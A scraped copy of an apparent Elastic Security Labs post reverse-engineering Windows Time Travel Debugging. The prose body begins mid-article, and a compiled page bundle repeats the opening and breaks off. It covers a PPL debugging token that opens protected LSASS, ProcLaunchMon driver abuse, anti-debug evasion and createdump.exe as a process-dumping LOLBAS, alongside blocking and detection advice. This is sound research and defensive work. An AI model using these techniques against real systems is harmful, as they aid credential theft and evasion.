ExecuteTTTracerCommandLine(*lpDiagnosticsSink, CommandLineW, 2i64);\n[...]\n```\n\nThe final line of the code excerpt above shows a call to ExecuteTTTracerCommandLine , which takes an integer as the last argument. This argument corresponds to the desired tracing modes, which are: - 0 -\\\u003e FullTracingMode, - 1 -\\\u003e UnrestrictedTracing and - 2 -\\\u003e Standalone (the hardcoded mode for the public version of TTD.exe)\n\nForcing TTD to run in full-tracing mode reveals available options, which include some hidden capabilities such as process reparenting (-parent) and automatic tracing until reboot (-onLaunch) for programs and services.\n\n[Dumping the complete option set](https://gist.github.com/calladoum-elastic/4666dafc789a273c35a4aedf2ed9cd9e) of TTDRecord.dll revealed interesting hidden command line options such as:\n\n```\n-persistent Trace programs or services each time they are started (forever). You must specify a full path to the output location with -out.\n-delete Stop future tracing of a program previously specified with -onLaunch or -persistent. Does not stop current tracing. For -plm apps you can only specify the package (-delete \u003cpackage\u003e) and all apps within that package will be removed from future tracing\n-initialize Manually initialize your system for tracing. You can trace without administrator privileges after the system is initialized.\n```\n\nThe process of setting up Nirvana requires TTD to set up the InstrumentationCallback field in the target \\_EPROCESS. This is achieved through the (undocumented but [known](https://www.codeproject.com/Articles/543542/Windows-x64-System-Service-Hooks-and-Advanced-Debu)) NtSetInformationProcess(ProcessInstrumentationCallback) syscall (ProcessInstrumentationCallback, which has a value of 40). Due to the potential security implication, invoking this syscall requires elevated privileges. Interestingly, the -initialize flag also hinted that TTD could be deployed as a Windows service. Such service would be responsible for proxying tracing requests to arbitrary processes. This can be confirmed by executing it and seeing the resulting error message:\n\n\n\nEven though it [is easy](https://www.virustotal.com/gui/search/TTDService.exe/files)to find evidence confirming the existence of TTDService.exe , the file was not provided as part of the public package, so aside from noting that TTD can run as a service, we will not cover it in this post.\n\n## TTD process injection\n\nAs explained, a TTD trace file can either be created from the standalone binary TTD.exe or through a service TTDService.exe (private), both of which must be run in a privileged context. However, those are just launchers and injecting the recording DLL (named TTDRecordCPU.dll) is the job of another process: TTDInject.exe.\n\nTTDInject.exe is another executable noticeably larger than TTD.exe, but with a pretty simple objective: prepare the tracing session. In an overly simplified view, TTD.exe will first start the process to be recorded in a suspended state. It will then spawn TTDInject.exe, passing it all the necessary arguments to prepare the session. Note that TTDInject can also spawn the process directly depending on the tracing mode we mentioned earlier — therefore, we are describing the most common behavior (i.e. when spawned from TTD.exe).\n\n\n\nTTDInject will create a thread to execute TTDLoader!InjectThread in the recorded process, which after various validations will in turn load the library responsible for recording all process activity, TTDRecordCPU.dll.\n\n\n\nFrom that point onward, all instructions, memory accesses, exceptions triggered, or CPU states encountered during the execution will be recorded.\n\nOnce the general workflow of TTD was understood, it became clear that little to no manipulation is possible after the session initialization. Thus, further attention was paid to the arguments supported by ttdrecord.dll. Thanks to the C++ mangling function format, a lot of critical information can be retrieved from the function names themselves, which makes analyzing the command line argument parser relatively simple. One interesting flag that was discovered was PplDebuggingToken. That flag is hidden and only available in Unrestricted Mode.\n\n\n\nThe existence of this flag immediately raised questions: TTD was architected first around Windows 7 and 8, and on Windows 8.1+. The concept of Protection Level was added to processes, dictating that processes can only open handles to a process with a [Protection Level](https://www.elastic.co/blog/protecting-windows-protected-processes#Protected%20process%20light:%7E:text=a%20kernel%20driver.-,Protected%20process%20light,-) that is equal or inferior. It is a simple byte in the \\_EPROCESS structure in the kernel, and thus not directly modifiable from user mode.\n\n\n\nThe values of the Protection Level byte are well known and are summarized in the table below.\n\n\n\nThe Local Security Authority subsystem (lsass.exe) on Windows [can be configured](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) to run as Protected Process Light, which aims to limit the reach of an intruder who gains maximum privileges on a host. By acting at the kernel level, no user-mode process can open a handle to lsass, no matter how privileged.\n\n\n\nBut the PplDebuggingToken flag appears to suggest otherwise. If such a flag existed, it would be the dream of any pentester/red teamer: a (magic) token that would allow them to inject into protected processes and record them, dump their memory or more. The command line parser seems to imply that the content of the command flag is a mere wide-string. Could this be a PPL backdoor?\n\n### Chasing after the PPL debugging token\n\nReturning to ttdrecord.dll, the PplDebuggingToken command line option is parsed and stored in a context structure along with all of the options required to create the TTD session. The value can be traced down to several locations, with an interesting one being within TTD::InitializeForAttach, whose behavior is simplified in the following pseudo-code:\n\n```\nErrorCode TTD::InitializeForAttach(TtdSession *ctx)\n{\n [...]\n EnableDebugPrivilege(GetCurrentProcess()); // [1]\n HANDLE hProcess = OpenProcess(0x101040u, 0, ctx-\u003edwProcessId);\n if(hProcess == INVALID_HANDLE_VALUE)\n {\n goto Exit;\n }\n [...]\n HMODULE ModuleHandleW = GetModuleHandleW(L\"crypt32.dll\");\n if ( ModuleHandleW )\n pfnCryptStringToBinaryW = GetProcAddress(ModuleHandleW, \"CryptStringToBinaryW\"); // [2]\n\n if ( ctx-\u003eProcessDebugInformationLength ) // [3]\n {\nDecodedProcessInformationLength = ctx-\u003eProcessDebugInformationLength;\nDecodedProcessInformation = std::vector\u003cunsigned char\u003e(DecodedProcessInformationLength);\nwchar_t* b64PplDebuggingTokenArg = ctx-\u003eCmdLine_PplDebugToken;\nif ( *pfnCryptStringToBinaryW )\n{\n if( ERROR_SUCCESS == pfnCryptStringToBinaryW( // [4]\n b64PplDebuggingTokenArg,\n DecodedProcessInformationLength,\n CRYPT_STRING_BASE64,\n DecodedProcessInformation.get(),\n \u0026DecodedProcessInformationLength,\n 0, 0))\n {\n Status = NtSetInformationProcess( // [5]\n NtGetCurrentProcess(),\n ProcessDebugAuthInformation,\n DecodedProcessInformation.get(),\n DecodedProcessInformationLength);\n }\n[...]\n```\n\nAfter enabling the SeDebugPrivilege flag for the current process ([1]) and obtaining a handle to the process to attach to ([2]), the function resolves an exported generic function used to perform string operations: crypt32!CryptStringToBinaryW. In this instance, it is used for decoding the base64-encoded value of the PplDebuggingToken context option if it was provided by the command line( [3], [4]). The decoded value is then used to invoke the syscall NtSetInformationProcess(ProcessDebugAuthInformation) ([5]). The token doesn’t seem to be used anywhere else, which made us scrutinize that syscall.\n\nThe process information class ProcessDebugAuthInformation was added in [RS4](https://en.wikipedia.org/wiki/Windows_10_version_1803). A quick look at ntoskrnl shows that this syscall simply passes the buffer to CiSetInformationProcess located in ci.dll, which is the Code Integrity driver DLL. The buffer is then passed to ci!CiSetDebugAuthInformation with fully controlled arguments.\n\n\n\nThe following diagram summarizes at a high level where this happens in the execution flow of TTD.\n\n\n\nThe execution flow in CiSetDebugAuthInformation is simple enough: the buffer with the base64-decoded PplDebuggingToken and its length are passed as arguments for parsing and validation to ci!SbValidateAndParseDebugAuthToken. Should the validation succeed, and after some extra validation, a handle to the process performing the syscall (remember that we’re still handling the syscall nt!NtSetInformationProcess) will be inserted in a process debug information object then stored in a global list entry.\n\n\n\nBut how is that interesting? Because this list is only accessed in a single location: in ci!CiCheckProcessDebugAccessPolicy, and this function is reached during a NtOpenProcess syscall. And, as the name of the newly discovered flag suggested earlier, any process whose PID is located in that list would bypass the Protection Level enforcement. This was confirmed practically in a [KD](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-using-kd-and-ntkd) session by setting an access breakpoint on that list (on our version of ci.dll this was located at ci+364d8). We also [enabled PPL on LSASS](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) and wrote a simple PowerShell script that would trigger a NtOpenProcess syscall:\n\n\n\nBy breaking at the call to nt!PsTestProtectedProcessIncompatibility in nt!PspProcessOpen, we can confirm that our PowerShell process attempts to target lsass.exe, which is a PPL process:\n\n\n\nNow to confirm the initial theory of what the PplDebuggingToken argument would do by forcing the return value of the call to nt!PsTestProtectedProcessIncompatibility:\n\n\n\nWe break at the instruction following the call to nt!PsTestProtectedProcessIncompatibility (which only calls CI!CiCheckProcessDebugAccessPolicy), and force the return value to 0 (as mentioned earlier a value of 1 means incompatible):\n\n\n\nSuccess! We obtained a handle to LSASS despite it being PPL, confirming our theory. Summarizing, if we can find a “valid value” (we’ll dig into that soon) it will pass the check of SbValidateAndParseDebugAuthToken() in ci!CiSetDebugAuthInformation(), and we would have a universal PPL bypass. If this sounds too good to be true, that’s mostly because it is — but confirming it requires developing a better understanding of what CI.dll is doing.\n\n### Understanding Code Integrity policies\n\nRestrictions based on code integrity, such as those used by AppLocker, can be enforced through policies, which in their human readable form are XML files. There are two types of policies: base and supplemental. Examples of what base policies look like can be found in their XML format in \"C:\\Windows\\schemas\\CodeIntegrity\\ExamplePolicies\\\". This is what a Base Policy looks like in its XML form (taken from \"C:\\Windows\\schemas\\CodeIntegrity\\ExamplePolicies\\AllowAll.xml\"), which reveals most of the details we’re interested in clearly in plaintext.\n\n```\n\u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e\n\u003cSiPolicy xmlns=\"urn:schemas-microsoft-com:sipolicy\"\u003e\n\u003cVersionEx\u003e1.0.1.0\u003c/VersionEx\u003e\n\u003cPolicyID\u003e{A244370E-44C9-4C06-B551-F6016E563076}\u003c/PolicyID\u003e\n\u003cBasePolicyID\u003e{A244370E-44C9-4C06-B551-F6016E563076}\u003c/BasePolicyID\u003e\n\u003cPlatformID\u003e{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}\u003c/PlatformID\u003e\n\u003cRules\u003e\n\u003cRule\u003e\u003cOption\u003eEnabled:Unsigned System Integrity Policy\u003c/Option\u003e\u003c/Rule\u003e\n\u003cRule\u003e\u003cOption\u003eEnabled:Advanced Boot Options Menu\u003c/Option\u003e\u003c/Rule\u003e\n\u003cRule\u003e\u003cOption\u003eEnabled:UMCI\u003c/Option\u003e\u003c/Rule\u003e\n\u003cRule\u003e\u003cOption\u003eEnabled:Update Policy No Reboot\u003c/Option\u003e\u003c/Rule\u003e\n\u003c/Rules\u003e\n\u003c!--EKUS-- \u003e\n\u003cEKUs /\u003e\n\u003c!--File Rules-- \u003e\n\u003cFileRules\u003e\n\u003cAllow ID=\"ID_ALLOW_A_1\" FileName=\"*\" /\u003e\n\u003cAllow ID=\"ID_ALLOW_A_2\" FileName=\"*\" /\u003e\n\u003c/FileRules\u003e\n\u003c!--Signers-- \u003e\n\u003cSigners /\u003e\n\u003c!--Driver Signing Scenarios-- \u003e\n\u003cSigningScenarios\u003e\n\u003cSigningScenario Value=\"131\" ID=\"ID_SIGNINGSCENARIO_DRIVERS_1\" FriendlyName=\"Auto generated policy on 08-17-2015\"\u003e\n \u003cProductSigners\u003e\n \u003cFileRulesRef\u003e\u003cFileRuleRef RuleID=\"ID_ALLOW_A_1\" /\u003e\u003c/FileRulesRef\u003e\n \u003c/ProductSigners\u003e\n\u003c/SigningScenario\u003e\n\u003cSigningScenario Value=\"12\" ID=\"ID_SIGNINGSCENARIO_WINDOWS\" FriendlyName=\"Auto generated policy on 08-17-2015\"\u003e\n \u003cProductSigners\u003e\n \u003cFileRulesRef\u003e\u003cFileRuleRef RuleID=\"ID_ALLOW_A_2\" /\u003e\u003c/FileRulesRef\u003e\n \u003c/ProductSigners\u003e\n\u003c/SigningScenario\u003e\n\u003c/SigningScenarios\u003e\n\u003cUpdatePolicySigners /\u003e\n\u003cCiSigners /\u003e\n\u003cHvciOptions\u003e0\u003c/HvciOptions\u003e\n\u003cSettings\u003e\n\u003cSetting Provider=\"PolicyInfo\" Key=\"Information\" ValueName=\"Name\"\u003e\n \u003cValue\u003e\u003cString\u003eAllowAll\u003c/String\u003e\u003c/Value\u003e\n\u003c/Setting\u003e\n\u003cSetting Provider=\"PolicyInfo\" Key=\"Information\" ValueName=\"Id\"\u003e\n \u003cValue\u003e\u003cString\u003e041417\u003c/String\u003e\u003c/Value\u003e\n\u003c/Setting\u003e\n\u003c/Settings\u003e\n\u003c/SiPolicy\u003e\n```\n\nXML-formatted policies can be compiled to a binary format using the ConvertFrom-CiPolicy PowerShell cmdlet:\n\n\n\nBase Policies allow for fine granularity, with the ability to restrict by name, path, hash, or signer (with or without specific [EKU](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88)); but also in their action mode (Audit or Enforced).\n\nSupplemental Policies were designed as an extension of Base Policies to provide more flexibility allowing, for instance, policies to apply (or not) to a specific group of workstations or servers. Therefore, they are more specific, but can also be more permissive than the Base Policy should be. Interestingly, before 2016, supplemental policies [were not bound to a specific device](https://openrt.gitbook.io/open-surfacert/common/boot-sequence/uefi/secure-boot/windows-bootmanager-exploit), allowing otherwise mitigated bypasses fixed by [MS16-094](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-094) and [MS16-100](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-100) that were [broadly covered](https://arstechnica.com/information-technology/2016/08/microsoft-secure-boot-firmware-snafu-leaks-golden-key) by the media.\n\nKeeping that information in mind, it is possible to get back to ci!SbValidateAndParseDebugAuthToken with more clarity: the function essentially follows three steps: 1. Call ci!SbParseAndVerifySignedSupplementalPolicy to parse the input buffer from the syscall and determine if it’s a validly-signed Supplemental Policy 2. Call ci!SbIsSupplementalPolicyBoundToDevice to compare the DeviceUnlockId from the supplemental policy to that of the current system; such values can be easily retrieved using the syscall NtQuerySystemEnvironmentValueEx with the GUID [`{EAEC226F-C9A3-477A-A826-DDC716CDC0E3}`](https://oofhours.com/2019/09/02/geeking-out-with-uefi/)3. Finally, extract two variables from the policy: an integer (DWORD) which corresponds to the Protection Level, and a (UNICODE_STRING) Debug Authorization.\n\nSince it is possible to craft policy files (via XML or PowerShell scripting), Step 3 is not a problem. Neither is Step 2, as the DeviceUnlockId can be forged with the syscall `NtSetSystemEnvironmentValueEx({EAEC226F-C9A3-477A-A826-DDC716CDC0E3})` as long as we have the SeSystemEnvironmentPrivilege privilege. However, it should be noted that the UnlockId is a volatile value that will be restored upon reboot.\n\n\n\nHowever, bypassing Step 1 is virtually impossible, as it requires : - to own the private key for a Microsoft-owned certificates with the particular [OID 1.3.6.1.4.1.311.10.3.6](http://oid-info.com/get/1.3.6.1.4.1.311.10.3.6)(i.e. - MS NT5 Lab (szOID_NT5_CRYPTO)) - and that the aforementioned certificate must not be revoked or expired\n\nSo, where does that leave us? We have now confirmed that, contrary to conventional wisdom, PPL processes can be opened by another process without the extra step of loading a kernel driver. However, it should also be stressed that such a use case is niche, since only Microsoft (literally) holds the keys to using this technique for very targeted machines. Nevertheless, such a case is still a great example of an air gap use of CI for debugging purposes.\n\n## Offensive TTD\n\n_Note: As a reminder, TTD.exe requires elevated privileges which all of the techniques discussed below assume._\n\nThroughout this research, we discovered some potentially interesting offensive and defensive use cases of TTD.\n\n### Tracing != Debugging\n\nTTD is not a debugger! Therefore, it will work perfectly undetected for processes that perform a basic anti-debugging check, like using IsDebuggerPresent() (or any other way that depends on PEB.BeingDebugged). The following screenshot illustrates this detail by making TTD attach to a simple notepad process:\n\n\n\nFrom a debugger we can check the BeingDebugged field located in the notepad PEB, which shows that the flag is not set:\n\n\n\n### The curious case of ProcLaunchMon\n\nAnother interesting trick made available by TTD is abusing the built-in Windows driver ProcLaunchMon.sys. When running as a service (i.e. TTDService.exe), ttdrecord.dll will create the service instance, load the driver, and communicate with the device available at \\.\\com_microsoft_idna_ProcLaunchMon to register newly traced clients.\n\nThe driver itself will be used to monitor new processes created by the TTD service and then suspend those processes directly from the kernel, thus bypassing any protection that solely monitors process creation with the creation flag CREATE_SUSPENDED (as mentioned [here](https://attack.mitre.org/techniques/T1055/012/#detection) for instance). We developed a basic Device Driver client for this research, which can be found [here](https://gist.github.com/calladoum-elastic/328068f19e60a76b00f20cdb936cd078).\n\n\n\n### CreateDump.exe\n\nAnother fun fact: even though it is not strictly part of TTD, the WinDbgX package provides a .NET signed binary whose name perfectly summarizes its functionality: createdump.exe. This binary is located at \"C:\\Program Files\\WindowsApps\\Microsoft.WinDbg\\_\\*\\createdump.exe\".\n\n\n\nThis binary can be used to snapshot and dump the context of a process provided as an argument, in the direct lineage of other [LOLBAS](https://lolbas-project.github.io).\n\n\n\nThis once more highlights the need to avoid relying on static signatures and filename blocklist entries to protect against attacks such as credential dumping and favor more robust approaches such as [RunAsPPL](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection), [Credential Guard](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage), or [Elastic Endpoint’s Credential Hardening](https://www.elastic.co/guide/en/security/current/whats-new.html#_endpoint_enhancements).\n\n## Defensive TTD\n\n### Blocking TTD\n\nThough TTD is an extremely useful feature, cases where it would be required to be enabled on non-development or test machines (such as production servers or workstations) are rare. Even though this seems largely undocumented at the time of this writing, ttdrecord.dll allows an early exit scenario by simply creating or updating a registry key located under \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\TTD\", and updating the DWORD32 value RecordingPolicy to 2. Further attempts to use any TTD service (TTD.exe, TTDInject.exe, TTDService.exe) will be stopped and an ETW event will be generated to track attempts.\n\n\n\n### Detecting TTD\n\nPreventing the use of TTD might be too extreme for all environments — however, several indicators exist for detecting the use of TTD. A process being traced has the following properties:\n\n- One thread will be running the code from TTDRecordCPU.dll, which can be verified using a simple built-in Windows command: tasklist /m TTDRecordCPU.dll\n- Even though this can be bypassed, the parent PID of the recorded process (or the first one, in case recursive tracing is enabled), would be TTD.exe itself:\n\n\n\n- Also, the \\_KPROCESS.InstrumentationCallback pointer would be set to land in the TTDRecordCPU.dll BSS section of the executable:\n\n\n\nTherefore, detecting tracing from TTD can be achieved through both User-Mode and Kernel-Mode methods.\n\n# Conclusion\n\nThis concludes the first part of this “On-Week” research focused on TTD. Digging into the internals of the TTD ecosystem revealed some very interesting, lesser-known mechanisms built-in to Windows, which are required to make TTD work for certain edge cases — such as the tracing of PPL processes.\n\nEven though this research didn’t unveil a new secret backdoor for targeting PPL processes, it did show an unexplored technique built into Windows to do so. If anything, this research highlights the importance of a model based on strong cryptography (here through CI.dll), and how it can bring a lot of flexibility — while maintaining a high level of security — when implemented adequately.\n\nThe second part of this series will be less research-oriented and more hands-on with the release of a small tool we also developed as part of On-Week. This assists in the process of binary analysis through TTD, using the Windows Sandbox.\n\n## Acknowledgement\n\nAs this research was already concluded and the article in progress, the author became aware of research that covered a similar subject and findings regarding that very same technique (PPL debugging token). That research was performed by Lucas George (from the company Synacktiv), who presented his findings at [SSTIC 2022](https://www.sstic.org/2022/presentation/supreme_ttd_-_that_s_my_ppl/).\n","code":"var Component=(()=\u003e{var h=Object.create;var s=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,m=Object.prototype.hasOwnProperty;var f=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),w=(i,e)=\u003e{for(var n in e)s(i,n,{get:e[n],enumerable:!0})},a=(i,e,n,r)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of p(e))!m.call(i,o)\u0026\u0026o!==n\u0026\u0026s(i,o,{get:()=\u003ee[o],enumerable:!(r=g(e,o))||r.enumerable});return i};var b=(i,e,n)=\u003e(n=i!=null?h(u(i)):{},a(e||!i||!i.__esModule?s(n,\"default\",{value:i,enumerable:!0}):n,i)),y=i=\u003ea(s({},\"__esModule\",{value:!0}),i);var c=f((k,l)=\u003e{l.exports=_jsx_runtime});var P={};w(P,{default:()=\u003eD,frontmatter:()=\u003eT});var t=b(c()),T={title:\"Deep dive into the TTD ecosystem\",slug:\"deep-dive-into-the-ttd-ecosystem\",date:\"2022-11-30\",description:\"This is the first in a series focused on the Time Travel Debugging (TTD) technology developed by Microsoft that was explored in detail during a recent independent research period.\",author:[{slug:\"christophe-alladoum\"}],image:\"photo-edited-02-w.jpg\",category:[{slug:\"security-research\"}],tags:[\"windows\"]};function d(i){let e=Object.assign({p:\"p\",a:\"a\",h1:\"h1\",code:\"code\",h2:\"h2\",pre:\"pre\",img:\"img\",h3:\"h3\",em:\"em\",ul:\"ul\",li:\"li\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(e.p,{children:[\"Several times a year, Elastic Security Labs researchers get the freedom to choose and dig into projects of their liking \\u2014 either alone or as a team. This time is internally referred to as \\u201COn-Week\\u201D projects. This is the first in a series focused on the \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-overview\",rel:\"nofollow\",children:\"Time Travel Debugging\"}),\" (TTD) technology developed by Microsoft that was explored in detail during a recent On-Week session.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Despite being made public for several years, awareness of TTD and its potential are greatly underrated within the infosec community. We hope this two-part series can help shed some light on how TTD can be useful for program debugging, vulnerability research and exploitation, and malware analysis.\"}),`\n`,(0,t.jsx)(e.p,{children:\"This research involved first understanding the inner workings of TTD and then assessing some interesting applicable uses that can be made out of it. This post will focus on how researchers dive deep into TTD, sharing their methodology along with some interesting findings. The second part will detail the applicable use of TTD for the purpose of malware analysis and integration with Elastic Security.\"}),`\n`,(0,t.jsx)(e.h1,{id:\"background\",children:\"Background\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-overview\",rel:\"nofollow\",children:\"Time Travel Debugging\"}),\" is a tool developed by Microsoft Research that allows users to record execution and navigate freely into the user-mode runtime of a binary. TTD itself relies on two technologies: Nirvana for the binary translation, and iDNA for the trace reading/writing process. Available since Windows 7, TTD internals were first detailed \",(0,t.jsx)(e.a,{href:\"https://www.usenix.org/legacy/events/vee06/full_papers/p154-bhansali.pdf\",rel:\"nofollow\",children:\"in a publicly available paper\"}),\". Since then, both \",(0,t.jsx)(e.a,{href:\"https://www.youtube.com/watch?v=l1YJTg_A914\u0026\",rel:\"nofollow\",children:\"Microsoft\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://infocondb.org/con/recon/recon-2015/hooking-nirvana-stealthy-instrumentation-techniques-for-windows-10\",rel:\"nofollow\",children:\"independent researchers\"}),\" have covered it in great detail. For this reason, we won\\u2019t explore the internals of both technologies in depth. Instead, Elastic researchers investigated the ecosystem \\u2014 or the executables, DLLs, and drivers \\u2014 that make the TTD implementation work. This led to some interesting findings about TTD, but also Windows itself, as TTD leverages some (undocumented) techniques to work as intended in special cases, such as \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-#system-protected-process\",rel:\"nofollow\",children:\"Protected Processes\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:\"But why investigate TTD at all? Aside from pure curiosity, it is likely that one of the possible intended uses for the technology would be discovering bugs in production environments. When bugs are hard to trigger or reproduce, having a \\u201Crecord-once-replay-always\\u201D type of environment helps compensate for that difficulty, which is exactly what TTD implements when coupled with WinDbg.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Debugging tools such as \",(0,t.jsx)(e.a,{href:\"https://apps.microsoft.com/store/detail/9PGJGD53TN86\",rel:\"nofollow\",children:\"WinDbg\"}),\" have always been an immense source of information when reversing Windows components, as they provide additional comprehensible information, usually in plain text. Debugging tools (especially debuggers) must cooperate with the underlying operating system, which could involve debugging interfaces and/or previously undisclosed capabilities from the OS. TTD conforms to that pattern.\"]}),`\n`,(0,t.jsx)(e.h1,{id:\"high-level-overview\",children:\"High-level overview\"}),`\n`,(0,t.jsx)(e.p,{children:\"TTD works by first creating a recording that tracks every instruction executed by an application and stores it in a database (suffixed with .run). Recorded traces can be replayed at will using the WinDbg debugger, which on first access will index the .run file, allowing for faster navigation through the database. To be able to track execution of arbitrary processes, TTD injects a DLL responsible for recording activity on-demand which allows it to record processes by spawning them, but also may attach to an already-running process.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"TTD is freely \",(0,t.jsx)(e.a,{href:\"https://apps.microsoft.com/store/detail/9PGJGD53TN86\",rel:\"nofollow\",children:\"downloadable\"}),\" as part of the WinDbg Preview package in the MS Store. It can be used directly from WinDbg Preview (aka WinDbgX), but is a standalone component that is located in \",(0,t.jsx)(e.code,{children:\"C:\\\\Program Files\\\\WindowsApps\\\\Microsoft.WinDbg_\u003cversion\u003e\u003c/version\u003e_\u003carch\u003e__8wekyb3d8bbwe\\\\amd64\\\\ttd\"}),\" for the x64 architecture, which we will focus on in this post. x86 and arm64 versions are also available for download in the MS Store.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The package consists of two EXE files (TTD.exe and TTDInject.exe) and a handful of DLLs. This research focuses on the major DLL responsible for everything not related to Nirvana/iDNA (i.e. responsible for the session management, driver communication, DLL injection, and more): ttdrecord.dll\"}),`\n`,(0,t.jsx)(e.p,{children:\"_Note: Most of this research was made using two versions of the ttdrecord DLL: mostly on a 2018 version (1.9.106.0 SHA256=aca1786a1f9c96bbe1ea9cef0810c4d164abbf2c80c9ecaf0a1ab91600da6630), and early 2022 version (10.0.19041.1 SHA256=1FF7F54A4C865E4FBD63057D5127A73DA30248C1FF28B99FF1A43238071CBB5C). The older versions were found to have more symbols, which helped speed up the reverse engineering process. We then re-adapted structures and function names to the most recent version. Therefore, some of the structures explained here might not be the same if you\\u2019re trying to reproduce on more recent versions. _\"}),`\n`,(0,t.jsx)(e.h1,{id:\"examining-ttd-features\",children:\"Examining TTD features\"}),`\n`,(0,t.jsx)(e.h2,{id:\"command-line-parameters\",children:\"Command line parameters\"}),`\n`,(0,t.jsx)(e.p,{children:\"Readers should note that TTD.exe acts essentially as a wrapper to ttdrecord!ExecuteTTTracerCommandLine:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`HRESULT wmain()\n{\nv28 = 0xFFFFFFFFFFFFFFFEui64;\nhRes = CoInitializeEx(0i64, 0);\nif ( hRes \u003e= 0 )\n{\nModuleHandleW = GetModuleHandleW(L\"TTDRecord.dll\");\n[...]\nTTD::DiagnosticsSink::DiagnosticsSink(DiagnosticsSink, \u0026v22);\nCommandLineW = GetCommandLineW();\nlpDiagnosticsSink = Microsoft::WRL::Details::Make\u003cTTD::CppToComDiagnosticsSink,TTD::DiagnosticsSink\u003e(\u0026v31, DiagnosticsSink);\nhRes = ExecuteTTTracerCommandLine(*lpDiagnosticsSink, CommandLineW, 2i64);\n[...]\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"The final line of the code excerpt above shows a call to ExecuteTTTracerCommandLine , which takes an integer as the last argument. This argument corresponds to the desired tracing modes, which are: - 0 -\u003e FullTracingMode, - 1 -\u003e UnrestrictedTracing and - 2 -\u003e Standalone (the hardcoded mode for the public version of TTD.exe)\"}),`\n`,(0,t.jsx)(e.p,{children:\"Forcing TTD to run in full-tracing mode reveals available options, which include some hidden capabilities such as process reparenting (-parent) and automatic tracing until reboot (-onLaunch) for programs and services.\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://gist.github.com/calladoum-elastic/4666dafc789a273c35a4aedf2ed9cd9e\",rel:\"nofollow\",children:\"Dumping the complete option set\"}),\" of TTDRecord.dll revealed interesting hidden command line options such as:\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`-persistent Trace programs or services each time they are started (forever). You must specify a full path to the output location with -out.\n-delete Stop future tracing of a program previously specified with -onLaunch or -persistent. Does not stop current tracing. For -plm apps you can only specify the package (-delete \u003cpackage\u003e) and all apps within that package will be removed from future tracing\n-initialize Manually initialize your system for tracing. You can trace without administrator privileges after the system is initialized.\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The process of setting up Nirvana requires TTD to set up the InstrumentationCallback field in the target _EPROCESS. This is achieved through the (undocumented but \",(0,t.jsx)(e.a,{href:\"https://www.codeproject.com/Articles/543542/Windows-x64-System-Service-Hooks-and-Advanced-Debu\",rel:\"nofollow\",children:\"known\"}),\") NtSetInformationProcess(ProcessInstrumentationCallback) syscall (ProcessInstrumentationCallback, which has a value of 40). Due to the potential security implication, invoking this syscall requires elevated privileges. Interestingly, the -initialize flag also hinted that TTD could be deployed as a Windows service. Such service would be responsible for proxying tracing requests to arbitrary processes. This can be confirmed by executing it and seeing the resulting error message:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image13.jpg\",alt:\"Deducing TTDService.exe\",width:\"647\",height:\"150\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Even though it \",(0,t.jsx)(e.a,{href:\"https://www.virustotal.com/gui/search/TTDService.exe/files\",rel:\"nofollow\",children:\"is easy\"}),\"to find evidence confirming the existence of TTDService.exe , the file was not provided as part of the public package, so aside from noting that TTD can run as a service, we will not cover it in this post.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"ttd-process-injection\",children:\"TTD process injection\"}),`\n`,(0,t.jsx)(e.p,{children:\"As explained, a TTD trace file can either be created from the standalone binary TTD.exe or through a service TTDService.exe (private), both of which must be run in a privileged context. However, those are just launchers and injecting the recording DLL (named TTDRecordCPU.dll) is the job of another process: TTDInject.exe.\"}),`\n`,(0,t.jsx)(e.p,{children:\"TTDInject.exe is another executable noticeably larger than TTD.exe, but with a pretty simple objective: prepare the tracing session. In an overly simplified view, TTD.exe will first start the process to be recorded in a suspended state. It will then spawn TTDInject.exe, passing it all the necessary arguments to prepare the session. Note that TTDInject can also spawn the process directly depending on the tracing mode we mentioned earlier \\u2014 therefore, we are describing the most common behavior (i.e. when spawned from TTD.exe).\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/deep-dive-into-the-ttd-ecosystem/image17.jpg\",alt:\"TTD.exe process metadata\",width:\"930\",height:\"652\"})}),`\n`,(0,t.jsx)(e.p,{children:\"TTDInject will create a thread to execute TTDLoader!InjectThread in the recorded process, which after various validations will in turn load the library 